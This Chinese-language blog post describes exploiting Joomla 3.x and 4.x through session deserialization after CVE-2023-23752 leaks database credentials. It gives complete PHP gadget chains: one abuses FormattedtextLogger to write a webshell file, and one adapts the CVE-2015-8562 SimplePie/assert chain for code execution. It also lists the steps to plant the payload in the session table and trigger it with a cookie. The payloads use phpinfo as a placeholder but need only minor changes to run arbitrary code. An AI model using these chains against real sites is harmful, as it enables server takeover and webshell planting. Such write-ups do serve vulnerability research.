前言

去年,joomla爆出信息泄漏漏洞CVE-2023-23752,可泄漏数据库账号密码,连上数据库,修改完管理员账号密码,最后发现后台登录页面访问不到,还能怎么利用呢?

xss后台?其实,认真翻一下数据库就能找到更直接的答案

熟悉的php序列化数据,那是否可以修改该数据,然后反序列化呢?

joomla的session反序列化

joomla3.4.6之前,session默认直接存储在数据库中,修改即可反序列化,而从3.4.7开始,存储的格式又稍微有些变化,官方给session序列化的内容加了一层base64编码。

这部分可查看libraries/joomla/session/session.php,3.4.7的代码中获取session数据base64解码后直接unserialize(,并没有限制数据的类型

妥妥的可以反序列化,现在问题变成了寻找反序列化利用链

joomla4任意文件写入

以4.2.7的代码为例,全局搜索__destruct(,一共就6处,很快找到libraries/src/Log/Logger/FormattedtextLogger.php貌似有写文件的操作

跟进initFile()函数

该函数根据$this->path创建了目录,并将$this->generateFileHeader()的结果写入了$this->path文件中,跟进generateFileHeader(

在写入的内容中,$this->format可控,可用于写入webshell代码,只需保证$this->options['text_file_no_php']非空即可

该任意文件写入的反序列化链很短,如下:

<?php
namespace Joomla\CMS\Log\Logger {
    class FormattedtextLogger {
        protected $defer = true;
        protected $deferredEntries = ['1'];
        protected $path = '/var/www/html/tmp/test.php';

        protected $options = array('text_file_no_php' => ['1']);
        protected $format = '<?php phpinfo();?>';

    }
}

namespace {
    $obj = new Joomla\CMS\Log\Logger\FormattedtextLogger();
    $str = base64_encode(serialize($obj));
    echo "joomla|".serialize($str);
}

joomla3任意函数执行rce

joomla 3.4.5出过一个经典的反序列化漏洞CVE-2015-8562,反序列化链如下:

<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
echo serialize($a);

利用链基于此修改即可,但也有些许变化以及一些注意的点

首先,查看libraries/joomla/database/driver/mysqli.php代码,从3.4.6开始,JDatabaseDriverMysqli类的disconnect()函数中,不再单纯的只是判断if($this->connection){

构造时采用$this->connection=new mysqli('','','','');即可

其次,注意到在该漏洞中最终执行的php代码是phpinfo();JFactory::getConfig();exit;,如果少了JFactory::getConfig()漏洞便无法成功,为什么呢?

问题原因在于SimplePie这个类的init()函数,最终会将$this->feed_url解析成uri,少了关键的:就过不了判断,所以这里修改利用时需要注意!


最后,改造出rce的反序列化利用链:

<?php

class JSimplepieFactory {}
class SimplePie_Sanitize {}
class SimplePie_Registry {}

class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new SimplePie_Sanitize();
        $this->registry = new SimplePie_Registry();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = new mysqli('','','','');
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$str = base64_encode(serialize($a));
echo "joomla|".serialize($str);

利用

访问joomla首页,返回cookie拿到session_id,修改xxx_session表中该session_id对应的data,带着cookie再次访问首页触发反序列化漏洞

joomla4.2.7:

joomla3.4.8:

参考

https://xz.aliyun.com/t/12175
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html